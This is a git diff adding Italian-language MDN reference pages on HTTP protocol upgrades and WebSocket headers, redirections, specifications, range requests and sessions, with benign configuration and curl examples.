Subito dopo aver inviato lo status code 101, il server può iniziare ad utilizzare il nuovo protocollo, eseguendo ogni eventuale protocol-specific handshakes se necessario. In effetti, la connessione diventa una two-way pipe non appena la risposta aggiornata è completa, e le richieste che ha dato inizio all'aggiornamento può essere completata tramite il nuovo protocollo.

+ +

Usi comuni per questo meccanismo

+ +

Qui esaminiamo i casi d'uso più comuni per l' {{HTTPHeader("Upgrade")}} del header.

+ +

Aggiornamento a una connessione WebSocket

+ +

Di gran lunga, il caso d'uso più comune per l'aggiornamento di una connessione HTTP è l'utilizzo di WebSocket, che vengono sempre implementati aggiornando una connessione HTTP o HTTPS. Tieni presente che se stai aprendo una nuova connessione utilizzando il WebSocket API, o qualsiasi libreria che esegue il WebSocket, la maggior parte se non tutto questo viene fatto per te. Ad esempio, l'apertura di una connessione WebSocket è semplice come:

+ +
webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
+ +

Il costruttore {{domxref("WebSocket.WebSocket", "WebSocket()")}} fa tutto il lavoro di creazione di una connessione iniziale HTTP / 1.1 e dopo gestisce l'handshaking e il processo di aggiornamento per te.

+ +
+

Puoi anche utilizzare lo schema URL "wss://" per aprire una connessione sicura WebSocket.

+
+ +

Se devi creare una connessione WebSocket da zero, dovrai gestire tu il processo di handshaking. Dopo aver creato la sessione iniziale HTTP / 1.1, è necessario richiedere l'aggiornamento aggiungendo a una richiesta standard gli {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, come segue:

+ +
Connection: Upgrade
+Upgrade: websocket
+ +

Specifiche di WebSocket headers

+ +

Le seguenti intestazioni sono coinvolte nel processo di aggiornamento del WebSocket. Oltre al {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.

+ +

{{HTTPHeader("Sec-WebSocket-Extensions")}}

+ +

Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one Sec-WebSocket-Extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.

+ +
Sec-WebSocket-Extensions: extensions
+ +
+
extensions
+
A comma-separated list of extensions to request (or agree to support). These should be selected from the IANA WebSocket Extension Name Registry. Extensions which take parameters do so by using semicolon delineation.
+
+ +

For example:

+ +
Sec-WebSocket-Extensions: superspeed, colormode; depth=16
+ +

{{HTTPHeader("Sec-WebSocket-Key")}}

+ +

Fornisce al server le informazioni necessarie per confermare che il cliente ha il diritto di richiedere un aggiornamento a WebSocket. Questa intestazione (header) può essere utilizzata quando i clienti meno sicuri (HTTP) desiderano effettuare l'upgrade, al fine di offrire un certo grado di protezione contro gli attacchi. Il valore della chiave è calcolato utilizzando un algoritmo definito nelle specifiche del WebSocket, di conseguenza ciò non garantisce sicurezza. Invece, aiuta a prevenire che i client non WebSocket non richiedano inavvertitamente, o attraverso un uso improprio, una connessione WebSocket. In sostanza, quindi, questa chiave conferma semplicemente che "Sì, intendo davvero aprire una connessione WebSocket".

+ +

Questa intestazione(header) viene aggiunta automaticamente dai client che scelgono di usarla; non può essere aggiunta usando il metodo {{domxref("XMLHttpRequest.setRequestHeader()")}}.

+ +
Sec-WebSocket-Key: key
+ +
+
key
+
The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.
+
+ +

The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified key.

+ +

{{HTTPHeader("Sec-WebSocket-Protocol")}}

+ +

The Sec-WebSocket-Protocol header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.

+ +
Sec-WebSocket-Protocol: subprotocols
+ +
+
subprotocols
+
A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.
+
+ +

{{HTTPHeader("Sec-WebSocket-Version")}}

+ +
Request header
+ +

Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.

+ +
Sec-WebSocket-Version: version
+ +
+
version
+
The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.
+
+ +
Response header
+ +

If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version header is included in the response.

+ +
Sec-WebSocket-Version: supportedVersions
+ +
+
supportedVersions
+
A comma-delineated list of the WebSocket protocol versions supported by the server.
+
+ +

Response-only headers

+ +

The response from the server may include these.

+ +

{{HTTPHeader("Sec-WebSocket-Accept")}}

+ +

Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.

+ +
Sec-WebSocket-Accept: hash
+ +
+
hash
+
If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then base64 encoded to obtain the value of this property.
+
+ +

References

+ + diff --git a/files/it/web/http/redirections/index.html b/files/it/web/http/redirections/index.html new file mode 100644 index 0000000000..1952b2e6e9 --- /dev/null +++ b/files/it/web/http/redirections/index.html @@ -0,0 +1,318 @@ +--- +title: Reindirizzamenti in HTTP +slug: Web/HTTP/Redirections +translation_of: Web/HTTP/Redirections +--- +
{{HTTPSidebar}}
+ +
L'URL redirection, anche conosciuto come URL forwarding, è una tecnica che serve a dare più di un indirzzo URL ad una pagina, un form, oppure un intero sito o applicazione. L'HTTP ha uno speciale tipo di risposta, chiamata HTTP redirect, per questa operazione.
+ +
+ +
I redirect portano a termine molti scopi:
+ + + +

Principio

+ +

In HTTP, il reindirizzamento è causato da un server che manda una speciale risposta redirect ad una richiesta. Le riposte di reindirizzamento hanno dei codici di stato che iniziano con un 3, e un {{ httpheader("Location") }} header contenente l'URL a cui deve essere reindirizzato.

+ +

Quando i browser ricevono un reindirizzamento, caricano immediatamente il nuovo URL assegnatogli nel Location header. Inoltre visto che l'impatto di questa operazione è così basso, gli utenti non notano quasi mai il reindirizzamento.

+ +

+ +

Ci sono molti tipi di reindirizzamenti, raggruppati in tre categorie:

+ +
    +
  1. Reindirizzamenti permanenti
  2. +
  3. Reindirizzamenti temporanei
  4. +
  5. Reindirizzamenti speciali
  6. +
+ +

Reindirizzamenti permanenti

+ +

Questi reindirizzamenti sono stati creati per rimanenere per sempre. Implicano che l'URL originale non dovrebbe più essere usato, e dovrebbe essere rimpiazzato da uno nuovo. I motori di ricerca, i lettori RSS e altri crawler aggiorneranno l'URL originale per la risorsa.

+ + + + + + + + + + + + + + + + + + + + + + + + +
CodiceTestoGestione del metodoCaso d'uso tipico
301 +

Moved Permanently

+ +

(Spostato Permanentemente)

+
{{HTTPMethod("GET")}} metodi non cambiati.
+ Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.[1]
Riorganizzazione di un sito web.
308 +

Permanent Redirect

+ +

(Reindirizzamento Permanente)

+
I metodi e il body non sono cambiati.Riorganizzazione di un sito web, con dei link o operazioni che non usufruiscono del GET.
+ +

[1] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("308")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del GET.

+ +

Reindirizzamenti temporanei

+ +

Qualche volta la risorsa richiesta non può essere raggiunta dal suo luogo originale, ma può essere raggiunta da un'altro luogo. In questo caso, un reindirizzamento temporaneo può essere usato.

+ +

I motori di ricerca e altri crawler non memorizzano il nuovo URL temporaneo. Reindirizzamenti temporanei vengono anche usati quando vengono create, aggiornate, o eliminate delle risorse, per mostrare pagine di avanzamento temporanee.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CodiceTestoGestione del metodoCasi d'uso tipici
302 +

Found

+ +

(Trovato)

+
{{HTTPMethod("GET")}} metodi non cambiati.
+ Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.[2]
La pagina web non è disponibile temporaneamente per ragioni non previste.
303 +

See Other

+ +

(Vedi altro)

+
{{HTTPMethod("GET")}} metodi non cambiati.
+ Altri cambiati a GET (body perso).
Usato per reindirizzare dopo un {{HTTPMethod("PUT")}} o un {{HTTPMethod("POST")}}, In modo che l'aggiornamento della pagina non causi nuovamente l'operazione.
307 +

Temporary Redirect

+ +

(Reindirizzamento Temporaneo)

+
Metodi e body non sono cambiati.La pagina web non è disponibile temporaneamente per ragioni non previste. Meglio del 302 quando operazioni che non usufruiscono del GET sono disponibili nel sito.
+ +

[2] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("307")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del GET.

+ +

Reindirizzamenti speciali

+ +

{{HTTPStatus("304")}} (Non modificato) reindirizza ad unapagina nella copia savata localmente nella cache (che non era vecchia), e {{HTTPStatus("300")}} (Multiple Choice) è un reindirizzamento manuale: il body, presentato dal browser come una pagina web, lista i possibili reindirizzamenti e l'utente clicca su uno di essi per selezionarlo.

+ + + + + + + + + + + + + + + + + + + + + +
CodiceTestoCasi d'uso tipici
300 +

Mutliple Choice

+ +

(Scelta Multipla)

+
Non molte: le scelte sono listate in una pagina HTML nel body. Scelte leggibili dalle macchine sono incentivate ad essere spedite come {{HTTPHeader("Link")}} headers con rel=alternate.
304 +

Not Modified

+ +

(Non Modificata)

+
Inviata per rivalidate richieste condizionali. Indica che la risposta nella cache può essere ancora usata.
+ +

Modi alternativi per specificare un reindirizzamento

+ +

I reindirizzamenti HTTP non sono l'unico modo per definire dei reindirizzamenti. Ce ne sono infatti altri due:

+ +
    +
  1. Reindirizzamenti HTML con l'elemento {{HTMLElement("meta")}}
  2. +
  3. Reindirizzamenti di JavaScript tramite il DOM
  4. +
+ +

Reindirizzamenti HTML

+ +

I reindirizzamenti HTML sono il modo migliore per creare reindirizzamenti, ma qualche volta non si ha il controllo sul server. In quel caso, prova a usare l'elemento {{HTMLElement("meta")}} con il suo attributo {{htmlattrxref("http-equiv", "meta")}} impostato a  Refresh nel {{HTMLElement("head")}} della pagina. Quando viene mostrato sulla pagina, il browser andrà all'URL indicato.

+ +
<head>
+  <meta http-equiv="Refresh" content="0; URL=https://example.com/">
+</head>
+
+ +

L'attributo {{htmlattrxref("content")}} dovrebbe iniziare con un numero indicando quanti secondi il browser dovrebbe aspettare prima di reindirizzare all'URL impostato. Impostarlo sempre a 0 per motivi di accessibilità.

+ +

Ovviamente questo metodo non funziona solo in HTML, e non può essere usato per immagini o altri tipi di contenuti.

+ +

Reindirizzamenti con JavaScript

+ +

Reindirizzamenti con JavaScript sono compiuti impostando una stringa dell'URL alla proprietà {{domxref("window.location")}}, caricando la nuova pagina:

+ +
window.location = "https://example.com/";
+ +

Come i reindirizzamenti HTML, questo non funziona con tutte le risorse, e ovviamente, questo funzionerà solo con client che eseguono JavaScript. D'altro canto, ci sono più possibiltà: per esempio, si può causare il reindirizzamento solo se alcune condizioni sono rispettate.

+ +

Ordine di precedenza

+ +

Con tre modi per far causare i rendirizzamenti, molti modi possono essere usati allo stesso tempo. Ma quale è applicato per primo?

+ +
    +
  1. I reindirizzamenti HTTP sono sempre eseguiti per primi — esisitono quando non c'è nemmeno una pagina trasmessa.
  2. +
  3. I reindirizzamenti  HTML ({{HTMLElement("meta")}}) vengono eseguiti se non c'era nessun reindirizzamento HTTP.
  4. +
  5. I reindirizzamenti con JavaScript sono eseguiti per ultimi, e solo se JavaScript è abilitato.
  6. +
+ +

Quando possibile, usare reindirizzamenti HTTP e non aggiungere l'elemento di reindirizzamento {{HTMLElement("meta")}}. Se qualcuno cambia il reindirizzamento HTTP ma dimentica di cambiare il reindirizzamento HTML, il reindirizzamento non sarà più identico, il che potrebbe causare un loop infinito o altri incubi.

+ +

Casi d'uso

+ +

Ci sono molti casi d'uso per quanto riguarda i reindirizzamenti, ma le prestazioni sono intaccate da ogni reindirizzamento, il loro uso dovrebbe essere tenuto al minimo.

+ +

Aliasing dei domini

+ +

Idealmente c'è un posto, e di conseguenza un URL, per ogni risorsa. Ma ci sono ragioni per nomi alternativi per una risorsa:

+ +
+
Espandendo la portata del tuo sito
+
Un esempio comune è quando un sito risiede a www.example.com, ma accedendoci tramite example.com dovrebbe funzionare lo stesso. I reindirizzamenti da example.com a www.example.com sono preimpostati. Potresti anche reindirizzare da sinonimi comuni a frequenti refusi del tuo dominio.
+
Spostarsi ad un nuovo dominio
+
Per esempio, la tua compagnia è stata rinominata, ma vuoi che i link o i bookmark esistenti siano ancora in grado di trovarti sotto il tuo nuovo nome.
+
Forzando gli HTTPS
+
Richieste alla versione http:// del tuo sito, ti reindirizzeranno alla versione https:// di esso.
+
+ + + +

Quando i siti web vengono ristrutturati, gli URL cambiano. Anche se si aggiornano i link del sito facendoli combaciare con quelli dei nuovi URL, non si ha controllo sugli URL usati da risorse esterne.

+ +

Non si vogliono rompere questi link, visto che portano utenti preziosi e aiutano il SEO, quindi si impostano i reindirizzamenti dai vecchi URL a quelli nuovi..

+ +
+

Questa tenica funziona con i link interni alla pagina, ma si avvisa di non avere reindirizzamenti interni. Un reindirizzamento ha un costo sensibile a livello di prestazioni (visto che avviene una richiesta HTTP). Se si riesce a evitarlo correggiendo i link interni, sarebbe meglio correggere quei link.

+
+ +

Risposte temporanee a richieste non sicure

+ +

Le richeste {{Glossary("safe", "Unsafe")}} modificano lo stato del server e l'utente non dovrebbe reinviarle accidentalmente.

+ +

Di solito, non si vuole che gli utenti rimandino le richieste {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} o {{HTTPMethod("DELETE")}}. Se si fornisce la risposta come il risultato di questa richiesta, una semplice pressione del pulsante di ricarica rimanderà la richiesta (possibilmente dopo un messaggio di conferma).

+ +

In questo caso il server potrà rimandare indietro una riposta {{HTTPStatus("303")}} (Vedi altro) per un URL contenente le informazioni corrette. Se il pulsante di ricarca viene premuto, solo quella pagina verrà rimostrata, senza rimandare le richieste non sicure.

+ +

Risposte temporanee a richieste lunghe

+ +

Alcune richieste potrebbero necessitare di più tempo sul server, per esempio le richieste {{HTTPHeader("DELETE")}} che sono programmate per essere processate in seguito. In questo caso, la risposta sarà un reindirizzamento {{HTTPStatus("303")}} (Vedi altro) che collegherà una pagina indicante che l'azione è stata programmata, ed eventualmente informerà del suo progresso, o permetterà di cancellarla.

+ +

Configurando reindirizzamenti in server comuni

+ +

Apache

+ +

I reindirizzamenti possono essere impostati sia che nel file di config del server che nell'.htaccess di ogni cartella.

+ +

Il modulo mod_alias ha direttive di Redirect e RedirectMatch che impostano i reindirizzamenti {{HTTPStatus("302")}} di default:

+ +
<VirtualHost *:443>
+	ServerName example.com
+	Redirect / https://www.example.com
+</VirtualHost>
+
+ +

L'URL https://example.com/ verrà reindirizzato a https://www.example.com/, come ogni file o cartella all'interno di esso (https://example.com/some-page verrà reindirizzato a https://www.example.com/some-page)

+ +

RedirectMatch non fa lo stesso, ma prende un {{glossary("regular expression")}} per definire una collezione degli URL interessati:

+ +
RedirectMatch ^/images/(.*)$ https://images.example.com/$1
+ +

Tutti i documenti nella cartella images/ verranno reindirizzati a un dominio differente.

+ +

Se non si vuole un reindirizzamento temporaneo, un parametro extra (o il codice di stato HTTP da usare o la permanent keyword) possono essere usati per impostare un reindirizzamento differente:

+ +
Redirect permanent / https://www.example.com
+# …acts the same as:
+Redirect 301 / https://www.example.com
+
+ +

Anche il modulo mod_rewrite può creare reindirizzamenti. E' più flessibile, ma al contempo un po' più complesso.

+ +

Nginx

+ +

In Nginx, viene creato uno specifico blocco del server per il contenuto che si vuole reindirizzare:

+ +
server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}
+ +

Per applicare un reindirizzamento ad una cartella o solo ad alcune pagine, usare la direttiva rewrite:

+ +
rewrite ^/images/(.*)$ https://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ https://images.example.com/$1 permanent;
+
+ +

IIS

+ +

In IIS, vengono usate gli elementi <httpRedirect> per configurare i reindirizzamenti.

+ +

Loop di reindirizzamenti

+ +

I loop di reindirizzamenti succedono quando dei reindirizzamenti aggiuntivi seguono quello che è stato appena seguito. In altre parole, si crea un loop che non finirà mai e in cui nessuna pagina verrà mai trovata.

+ +

La maggior parte delle volte, questo è un problema lato server, e se il server non riesce a rilevarlo, manderà indietro un {{HTTPStatus("500")}} Internal Server Error. Se si incontra un errore del genere subito dopo aver modificato la configurazione di un server, questo e molto probabile sia un loop di reindirizzamenti.

+ +

Qualche volta, il server non lo rileverà: un loop di reindirizzamenti può concernere diversi server, senza che nessuno di essi abbia  il quadro completo della situazione. In questo caso, i browser lo rileveranno e manderanno a schermo un messaggio di errore. Firefox manda:

+ +
+

Firefox has detected that the server is redirecting the request for this address in a way that will never complete

+ +

(Firefox ha rilevato che il server sta reindirizzando la richiesta per questo indirizzo in un modo che non si completerà mai)

+
+ +

…mentre Chrome manda:

+ +
+

This Webpage has a redirect loop

+ +

(Questa pagina web ha un loop di reindirizzamenti)

+
+ +

In entrambi i casi l'utente non potrà fare molto (a meno che una corruzione di qualche tipo non stia accadendo dal loro lato, come un'incompatiblità della cache o dei cookies).

+ +

E' importante evitare loop di reindirizzamenti, visto che romperebbero completamente quello che l'utente sperimentrà.

diff --git a/files/it/web/http/resources_and_specifications/index.html b/files/it/web/http/resources_and_specifications/index.html new file mode 100644 index 0000000000..66e7ca5197 --- /dev/null +++ b/files/it/web/http/resources_and_specifications/index.html @@ -0,0 +1,267 @@ +--- +title: HTTP Risorse e Specifiche +slug: Web/HTTP/Resources_and_specifications +translation_of: Web/HTTP/Resources_and_specifications +--- +
{{HTTPSidebar}}
+ +

HTTP è stato fissato agli inizi del 1990. Progettato con un'estensibilità (in mind), ha visto numerose aggiunte negli anni; questo portò la sua specificazione a essere sparsa attraverso numerosi documenti di specifica(nel mezzo della sperimentazione di estensioni abbandonate). Questa pagina elenca risorse rilevanti sul HTTP.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificazioneTitoloStato
{{rfc(7230)}}Hypertext Transfer Protocol (HTTP/1.1): Sintassi e Instradamento dei messaggiStandard              Proposto
{{rfc(7231)}}Hypertext Transfer Protocol (HTTP/1.1): Semantica e ContenutiStandard              Proposto
{{rfc(7232)}}Hypertext Transfer Protocol (HTTP/1.1): Richieste condizionateStandard              Proposto
{{rfc(7233)}}Hypertext Transfer Protocol (HTTP/1.1): Intervallo di RichiesteStandard              Proposto
{{rfc(7234)}}Hypertext Transfer Protocol (HTTP/1.1): CachingStandard              Proposto
{{rfc(5861)}}HTTP Estensioni di controllo della cache per contenuti obsoletiInformativo
{{rfc(8246)}}HTTPost Risposte immutabiliStandard              Proposto
{{rfc(7235)}}Hypertext Transfer Protocol (HTTP/1.1): AutenticazioneStandard              Proposto
{{rfc(6265)}}HTTP Meccanismo di gestione statale
+ Definisce i cookie
Standard              Proposto
Specifica abbozzataPrefissi dei cookieIETF Proposto
Specifica abbozzataCookie di uno stesso sitoIETF Proposto
Specifica abbozzataDisapprova la modifica dei cookie 'sicuri' di origine non sicuraIETF Proposto
{{rfc(2145)}}Uso e interpretazione dei numeri di versione HTTPInformativo
{{rfc(6585)}}Codici di stato HTTP aggiuntiviStandard              Proposto
{{rfc(7538)}}Il codice di stato del protocollo di trasferimento ipertestuale 308 (reindirizzamento permanente)Standard              Proposto
{{rfc(7725)}}Un codice di stato HTTP per segnalare gli ostacoli legaliSul binario standard
{{rfc(2397)}}Lo schema URL "data"Standard              Proposto
{{rfc(3986)}}Uniform Resource Identifier (URI): Sintassi GenericaInternet Standard
{{rfc(5988)}}Web Linking
+ Definisce il {{HTTPHeader("Link")}} dell'intestazione
Standard              Proposto
Specifiche sperimentaliHypertext Transfer Protocol (HTTP) Intestazine Keep-AliveInformativo (Scaduta)
Specifica abbozzataHTTP Sugerimenti del ClientIETF Proposto
{{rfc(7578)}}Valori restituiti dai moduli: multipart/form-dataStandard              Proposto
{{rfc(6266)}}Utilizzo del campo Content-Disposition Header nel Hypertext Transfer Protocol (HTTP)Standard              Proposto
{{rfc(2183)}}Comunicare le informazioni di presentazione nei messaggi Internet: Il campo di intestazione Content-Disposition
+ Solo un sottoinsieme di sintassi del {{HTTPHeader("Content-Disposition")}}  header può essere utilizzato nel contesto dei messaggi HTTP.
Standard              Proposto
{{rfc(7239)}}Estensione HTTP inoltrataStandard              Proposto
{{rfc(6455)}}Il protocollo WebsocketStandard              Proposto
{{rfc(5246)}}Il Transport Layer Security (TLS) Protocol Version 1.2
+ Questa specifica è stata modificata dalle RFC successive, ma queste modifiche non hanno effetto sul protocollo HTTP.
Standard              Proposto
{{rfc(8446)}}Il Transport Layer Security (TLS) Protocol Version 1.3
+ Sostituisce il TLS 1.2.
Standard              Proposto
{{rfc(2817)}}Aggiornamento del TLS all'interno HTTP/1.1Standard              Proposto
{{rfc(7540)}}Hypertext Transfer Protocol Versione 2 (HTTP/2)Standard              Proposto
{{rfc(7541)}}HPACK: Compressione dell'intestazione per HTTP/2Sul Binario Standard
{{rfc(7838)}}HTTP Servizio AlternativoSul Binario Standard
{{rfc(7301)}}Transport Layer Security (TLS)  Estensione della negoziazione del protocollo Application-Layer
+ Usato per negoziare HTTP/2 durante il trasporto per salvare una richiesta extra/risposta andata e ritorno.
Standard              Proposto
{{rfc(6454)}}Concetto dell'origine del webStandard              Proposto
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}Cross-Origin Resource Sharing (Utilizzo risorse di altre pagine){{Spec2("Fetch")}}
{{rfc(7034)}}HTTP Campo dell'intestazione Opzioni X-FrameInformativo
{{rfc(6797)}}HTTP Strict Transport Security (HSTS)Standard              Proposto
{{SpecName("Upgrade Insecure Requests")}}Aggiorna le richieste insicure{{Spec2("Upgrade Insecure Requests")}}
{{SpecName("CSP 1.0")}}Politica di sicurezza dei contenuti 1.0
+ CSP 1.1 e CSP 3.0 non estende lo standard HTTP
{{Spec2("CSP 1.0")}}
Documenti MicrosoftSpecificare le modalità del documento legale*
+ Definisce X-UA-Compatible
Note
{{rfc(5689)}}HTTP Estensioni per Web Distributed Authoring e Versioning (Webdav)
+ Queste estensioni del Web, così come Carddav e Caldav, sono fuori portata per HTTP sul Web. Le API moderne per l'applicazione sono definite utilizzando il modello Restful al giorno d'oggi.
Standard              Proposto
{{rfc(2324)}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)Specifiche scherzo del primo d'aprile
{{rfc(7168)}}Il Hyper Text Coffee Pot Control Protocol per Tea Efflux Appliances (HTCPCP-TEA)Specifiche scherzo del primo d'aprile
{{SpecName("HTML WHATWG")}}HTML
+ Definisce le estensioni di HTTP per gli eventi inviati dal server.
{{Spec2("HTML WHATWG")}}
Espressioni preferite di TracciamentoIntestazione DNT +

Bozza dell'autore/ Candidato raccomandato

+
 Reporting APIReport-To headerProposta
Specifica abbozzataExpect-CT Estensione per HTTPIETF Proposta
diff --git a/files/it/web/http/richieste_range/index.html b/files/it/web/http/richieste_range/index.html new file mode 100644 index 0000000000..e6bbe43d19 --- /dev/null +++ b/files/it/web/http/richieste_range/index.html @@ -0,0 +1,115 @@ +--- +title: Richieste HTTP range +slug: Web/HTTP/Richieste_range +translation_of: Web/HTTP/Range_requests +--- +
{{HTTPSidebar}}
+ +

Le richieste HTTP range permettono di mandare una sola porzione di un messaggio HTTP da un server a un client invece del messaggio intero. Le richieste parziali sono utili per file di grandi dimensioni o per mettere un download in pausa e riprenderlo successivamente.

+ +

Controllare se un server supporta richieste parziali

+ +

Se l'header {{HTTPHeader("Accept-Ranges")}} è presente nelle risposte HTTP (e il suo valore non è "none"), il server supporta richieste HTTP range. E' possibile controllarlo creando una richiesta {{HTTPMethod("HEAD")}} con cURL, ad esempio.

+ +
curl -I http://i.imgur.com/z4d4kWk.jpg
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: bytes
+Content-Length: 146515
+
+ +

In questa risposta, Accept-Ranges: bytes indica che i bytes possono essere usati come unità base per definire un range (intervallo). Qui anche l'header {{HTTPHeader("Content-Length")}} è utile perché indica la dimensione dell'intero file contenente l'immagine.

+ +

Se il sito omette l'header Accept-Ranges, probabilmente non supporta richieste parziali. Alcuni siti mandano esplicitamente "none" come valore, indicando che non supportano la funzionalità. In questo caso, i download managers di alcune app disabiliteranno i loro pulsanti di pausa.

+ +
curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: none
+
+ +

Richiedere un range specifico

+ +

Se il server supporta richieste range, è possibile effettuare questa richiesta tramite l'header {{HTTPHeader("Range")}}, che indica la parte o le parti di un documento con le quali il server dovrà rispondere.

+ +

Range formato da una singola parte

+ +

Possiamo richiedere un singolo range da una risorsa. Possiamo fare una richiesta di prova tramite cURL. L'opzione "-H" appenderà una riga all'header alla richiesta, in questo caso l'header Range che richiede i primi 1024 bytes.

+ +
curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"
+ +

La richiesta effettuata è la seguente:

+ +
GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023
+ +

Il server risponde con lo stato {{HTTPStatus("206")}} Partial Content:

+ +
HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
+...
+(binary content)
+
+ +

L'header {{HTTPHeader("Content-Length")}} ora indica la dimensione dell'intervallo richiesto (non la dimensione totale dell'immagine). L'header {{HTTPHeader("Content-Range")}} nella risposta indica la posizione del messaggio parziale all'interno del file.

+ +

Range formato da più parti

+ +

L'header {{HTTPHeader("Range")}} permette anche di ottenere più di un intervallo alla volta. Gli intervalli sono separati da una virgola.

+ +
curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"
+ +

Il server risponde con lo stato {{HTTPStatus("206")}} Partial Content e l'header {{HTTPHeader("Content-Type")}}: multipart/byteranges; boundary=3d6b6a416f9b5, indicando che un range multiparte segue. Ogni parte contiene il proprio campo Content-Type and Content-Range.

+ +
HTTP/1.1 206 Partial Content
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 282
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 0-50/1270
+
+<!doctype html>
+<html>
+<head>
+    <title>Example Do
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-150/1270
+
+eta http-equiv="Content-type" content="text/html; c
+--3d6b6a416f9b5--
+ +

Richieste di range condizionali

+ +

Quando la richiesta è in pausa e viene successivamente ripresa, è necessario garantire che la risorsa remota non sia stata modificata da quando l'ultimo frammento è stato ricevuto.

+ +

L'header della richiesta HTTP {{HTTPHeader("If-Range")}} rende una richiesta range condizionale: se la condizione è verificata, la richiesta verrà effettuata e il server restituirà lo stato {{HTTPStatus("206")}} Partial Content con il corpo appropriato. Se la condizione non è verificata, il server restituirà l'intera risorsa con status {{HTTPStatus("200")}} OK. Questo header può essere usato in combinazione con un validatore {{HTTPHeader("Last-Modified")}} oppure un {{HTTPHeader("ETag")}}, ma non entrambi.

+ +
If-Range: Wed, 21 Oct 2015 07:28:00 GMT 
+ +

Risposte alle richieste parziali

+ +

Quando si lavora con richieste range, esistono tre stati rilevanti:

+ + + +

Confronto con Transfer-Encoding frammentato

+ +

L'header {{HTTPHeader("Transfer-Encoding")}} permette la codifica a frammenti, che è utile quando grandi quantità di dati sono mandati al client e la dimensione totale della risposta non è conosciuta fino a quando la richiesta è stata processata. Il server manda dati al client immediatamente senza fare buffering della risposta o determinare la lunghezza esatta, migliorando la latenza. Richieste range e chunking sono compatibili e possono essere usate contemporaneamente.

+ +

Vedi anche

+ + diff --git a/files/it/web/http/sessione/index.html b/files/it/web/http/sessione/index.html new file mode 100644 index 0000000000..e414eb9d19 --- /dev/null +++ b/files/it/web/http/sessione/index.html @@ -0,0 +1,171 @@ +--- +title: Una tipica sessione HTTP +slug: Web/HTTP/Sessione +translation_of: Web/HTTP/Session +--- +
{{HTTPSidebar}}
+ +

Nei protocolli client-server come l’HTTP, la sessione è composta da tre fasi:

+ +
    +
  1. Il cliente stabilisce una connessione TCP (o l’appropriata connessione nel caso non sia TCP).
  2. +
  3. Il cliente manda la sua richiesta e aspetta per la risposta.
  4. +
  5. Il server processa la richiesta, mandando poi la sua risposta, con al suo interno il codice di stato e un dato appropriato.
  6. +
+ +

Da quando è uscito HTTP/1.1, la connessione non si chiude più dopo la terza fase, e il cliente può fare un altra richiesta: questo significa che la seconda e terza fase possono essere usate molte volte.

+ +

Stabilire una connessione

+ +

Nei protocolli client-server è il client che stabilisce la connessione. Aprire una connessione in HTTP significa avviare una connessione nel livello di trasporto sottostante, che di solito è il TCP.

+ +

